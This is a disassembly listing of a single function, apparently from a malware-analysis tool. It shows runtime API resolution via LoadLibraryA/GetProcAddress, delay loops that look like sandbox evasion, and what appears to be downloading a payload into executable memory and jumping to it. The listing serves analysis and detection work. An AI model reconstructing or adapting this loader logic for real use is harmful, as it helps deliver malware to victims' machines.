Function at 0x477860
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
mov rbp, qword [sym.imp.USER32.dll_UpdateWindow]
mov rsi, qword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, 0x5f5e101
lea rdi, [rsp + 0x40]
xor ecx, ecx
mov r12, rbp
mov r14, rsi
call rbp
mov rcx, rdi
call rsi
dec ebx
jne 0x407234
lea rbx, [rsp + 0x38]
mov ecx, 0xa
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
call rbp
mov rcx, rbx
call fcn.004015bd
mov rcx, qword [rsp + 0x38]
mov rsi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rsi
mov rcx, rbx
mov qword [0x004ae098], rax
call fcn.00455410
xor ecx, ecx
call r12
mov rcx, rbx
call fcn.004027b1
mov rcx, qword [rsp + 0x38]
call rsi
mov rcx, rbx
mov qword [0x004ae080], rax
call fcn.00455410
mov rcx, rbx
call fcn.00402d19
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x004ae080]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rsi
mov rcx, rbx
mov qword [0x004ae078], rax
call fcn.00455410
mov rcx, rbx
call fcn.00404352
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x004ae080]
call rsi
mov rcx, rbx
mov qword [0x004ae070], rax
call fcn.00455410
xor ecx, ecx
call r12
mov rcx, rbx
call fcn.004033b0
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x004ae080]
call rsi
mov rcx, rbx
mov qword [0x004ae068], rax
call fcn.00455410
xor ecx, ecx
call r12
mov ecx, 0x1e
call rbp
mov rcx, rbx
call fcn.00403c0b
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x004ae080]
call rsi
lea r13, [rsp + 0x30]
mov rcx, rbx
mov qword [0x004ae060], rax
call fcn.00455410
mov ecx, 0x64
call rbp
xor ecx, ecx
call r12
mov ecx, 0x64
call rbp
xor ecx, ecx
call r12
mov rcx, rdi
call r14
mov ecx, 0x64
call rbp
mov rcx, rdi
call r14
mov rcx, r13
call fcn.00402d19
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x004ae080]
call rsi
mov rcx, rbx
mov r15, rax
call fcn.00404bad
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rcx, qword [rsp + 0x38]
call r15
mov rcx, rbx
mov qword [0x004ae058], rax
call fcn.00455410
mov rcx, r13
call fcn.00455410
xor ecx, ecx
call r12
mov ecx, 0x64
call rbp
mov rcx, rdi
call r14
mov rcx, rbx
mov rdi, qword [0x004ae070]
call fcn.00405244
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x004ae058]
call rdi
mov rcx, rbx
mov qword [0x004ae050], rax
call fcn.00455410
xor ecx, ecx
call r12
mov ecx, 0x64
call rbp
lea r9, [0x004ae048]
lea r8, [0x004ae04c]
mov edx, 0x20000005
mov rcx, qword [0x004ae050]
mov dword [0x004ae048], 4
mov qword [rsp + 0x20], 0
call qword [0x004ae060]
mov ecx, dword [0x004ae04c]
call fcn.00476810
lea r9, [0x004ae038]
mov rdx, rax
mov r8d, dword [0x004ae04c]
mov rcx, qword [0x004ae050]
mov qword [0x004ae040], rax
call qword [0x004ae068]
mov rcx, rbx
call fcn.004021b5
mov rdx, qword [rsp + 0x38]
mov rcx, qword [0x004ae098]
call rsi
mov edx, dword [0x004ae04c]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
call rax
mov rcx, rbx
mov qword [0x004ae030], rax
call fcn.00455410
mov ecx, dword [0x004ae04c]
mov rsi, qword [0x004ae040]
mov rdi, qword [0x004ae030]
rep movsb byte [rdi], byte [rsi]
call r12
nop
nop
jmp 0x4074ed
mov rbx, 0x19
nop
nop
nop
jmp 0x4074f9
nop
mov rax, 0x20
nop
jmp 0x407504
mov rbx, 0xc3
jmp 0x40750d
nop
mov rbx, 0x11
nop
mov rax, qword [0x4ae030]
nop
push rax
nop
nop
nop
ret
sub rsp, 0x28
call fcn.004146e0
mov rax, qword [0x00492b40]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x00492b30]
mov r8, qword [rax]
mov rax, qword [0x00492b20]
mov rcx, qword [rax]
add rsp, 0x28
jmp 0x40720c